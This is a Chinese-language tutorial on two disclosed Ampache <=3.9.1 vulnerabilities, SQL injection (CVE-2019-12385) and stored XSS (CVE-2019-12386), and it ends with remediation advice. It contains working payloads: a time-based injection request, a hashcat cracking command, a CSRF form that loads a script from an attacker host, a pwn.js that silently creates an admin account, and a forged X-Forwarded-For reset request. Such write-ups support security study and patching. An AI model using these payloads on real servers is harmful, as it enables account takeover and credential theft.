Ampache<=3.9.1下的两个CVE
字数 857 2025-08-27 12:33:49

Ampache <=3.9.1 安全漏洞分析与利用教学文档

概述

Ampache 是一个开源的 Web 音视频管理平台,在版本 3.9.1 及以下存在两个高危漏洞:

  1. CVE-2019-12385 - SQL 注入漏洞
  2. CVE-2019-12386 - 存储型 XSS 漏洞

1. SQL 注入漏洞 (CVE-2019-12385)

漏洞分析

漏洞位于 lib/class/dba.class.php 中的 escape 方法:

public static function escape($var) {
    $dbh = self::dbh();
    if (!$dbh) {
        debug_event('Dba', 'Wrong dbh.', 1);
        exit;
    }
    $var = $dbh->quote($var);
    // This is slightly less ugly than it was, but still ugly
    return substr($var, 1, -1);
}

该方法虽然使用了 PDO 的 quote 方法进行转义,但移除了字符串两端的引号,使得攻击者可以构造不带引号的 SQL 注入。

漏洞利用点

lib/class/search.class.php 中:

case 'last_play':
    $userid= $GLOBALS['user']->id;
    $where[]="`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - ($input * 86400))";
    $join['object_count'] = true;
    break;

$input 变量通过 Dba::escape($USER_INPUT) 处理,但由于上述问题,仍可注入。

漏洞验证

发送以下请求可验证漏洞(页面会停滞5秒):

POST /search.php?type=song HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ampache=[session_id]

limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search

利用漏洞获取管理员权限

密码哈希生成问题

  1. 哈希不加盐

    public function update_password($new_password) {
        $new_password = hash('sha256', $new_password);
        $new_password = Dba::escape($new_password);
        $sql = "UPDATE `user` SET `password` = ? WHERE `id` = ?";
        $db_results = Dba::write($sql, array($new_password, $this->id));
        // ...
    }
    
  2. 弱密码生成算法

    function generate_password($length) {
        $vowels = 'aAeEuUyY12345';
        $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789';
        $password = '';
        $alt = time() % 2;
        for ($i = 0; $i < $length; $i++) {
            if ($alt == 1) {
                $password .= $consonants[(rand(0, strlen($consonants) - 1))];
                $alt = 0;
            } else {
                $password .= $vowels[(rand(0, strlen($vowels) - 1))];
                $alt = 1;
            }
        }
        return $password;
    }
    

攻击步骤

  1. 通过 SQL 注入获取管理员密码哈希
  2. 使用 hashcat 破解密码:
    hashcat -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2 --outfile=ampache_result.txt -O
    

2. 存储型 XSS 漏洞 (CVE-2019-12386)

漏洞分析

localplay.php 在处理 name 字段时未正确转义 HTML 特殊字符:

<script>alert(1)</script>

CSRF 漏洞

应用缺乏 CSRF 防护,可与 XSS 组合利用。

组合利用攻击

  1. 创建恶意 HTML 页面:
<html>
<body>
<form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
<input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
<input type="hidden" name="host" value="foobar" />
<input type="hidden" name="port" value="6666" />
<input type="hidden" name="password" value="foobar" />
<input type="submit" value="Pwn!" />
</form>
</body>
</html>
  1. 创建恶意 JavaScript (pwn.js):
function pwned() {
    var ifr = document.getElementById("pwn");
    var target = ifr.contentDocument.getElementsByTagName("form")[2];
    target.username.value = "NewAdmin";
    target.email.value = "myemail@tarlogic.foobar";
    target.password_1.value = "admin";
    target.password_2.value = "admin";
    target.access.value = "100";
    target.submit();
}

var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);
  1. 诱使管理员访问恶意页面,将自动创建新管理员账户。

3. 密码重置漏洞

漏洞分析

lostpassword.php 中:

$email = scrub_in($_POST['email']);
$current_ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
$result = send_newpassword($email, $current_ip);

攻击者可伪造 X-Forwarded-For 头。

漏洞利用

curl https://[AMPACHE]/lostpassword.php --data "email=anyuser@tarlogic.foobar&action=send" --header "X-Forwarded-For: WE CAN MANIPULATE THIS TO LURE YOU"

修复建议

  1. 升级到最新版本
  2. Dba::escape 方法进行修复,保留引号
  3. 实现 CSRF 防护机制
  4. 对所有输出进行 HTML 编码
  5. 改进密码哈希机制,添加盐值
  6. 改进密码生成算法
  7. 对密码重置功能进行 IP 验证限制
Ampache <=3.9.1 安全漏洞分析与利用教学文档 概述 Ampache 是一个开源的 Web 音视频管理平台,在版本 3.9.1 及以下存在两个高危漏洞: CVE-2019-12385 - SQL 注入漏洞 CVE-2019-12386 - 存储型 XSS 漏洞 1. SQL 注入漏洞 (CVE-2019-12385) 漏洞分析 漏洞位于 lib/class/dba.class.php 中的 escape 方法: 该方法虽然使用了 PDO 的 quote 方法进行转义,但移除了字符串两端的引号,使得攻击者可以构造不带引号的 SQL 注入。 漏洞利用点 在 lib/class/search.class.php 中: $input 变量通过 Dba::escape($USER_INPUT) 处理,但由于上述问题,仍可注入。 漏洞验证 发送以下请求可验证漏洞(页面会停滞5秒): 利用漏洞获取管理员权限 密码哈希生成问题 哈希不加盐 : 弱密码生成算法 : 攻击步骤 通过 SQL 注入获取管理员密码哈希 使用 hashcat 破解密码: 2. 存储型 XSS 漏洞 (CVE-2019-12386) 漏洞分析 localplay.php 在处理 name 字段时未正确转义 HTML 特殊字符: CSRF 漏洞 应用缺乏 CSRF 防护,可与 XSS 组合利用。 组合利用攻击 创建恶意 HTML 页面: 创建恶意 JavaScript (pwn.js): 诱使管理员访问恶意页面,将自动创建新管理员账户。 3. 密码重置漏洞 漏洞分析 lostpassword.php 中: 攻击者可伪造 X-Forwarded-For 头。 漏洞利用 修复建议 升级到最新版本 对 Dba::escape 方法进行修复,保留引号 实现 CSRF 防护机制 对所有输出进行 HTML 编码 改进密码哈希机制,添加盐值 改进密码生成算法 对密码重置功能进行 IP 验证限制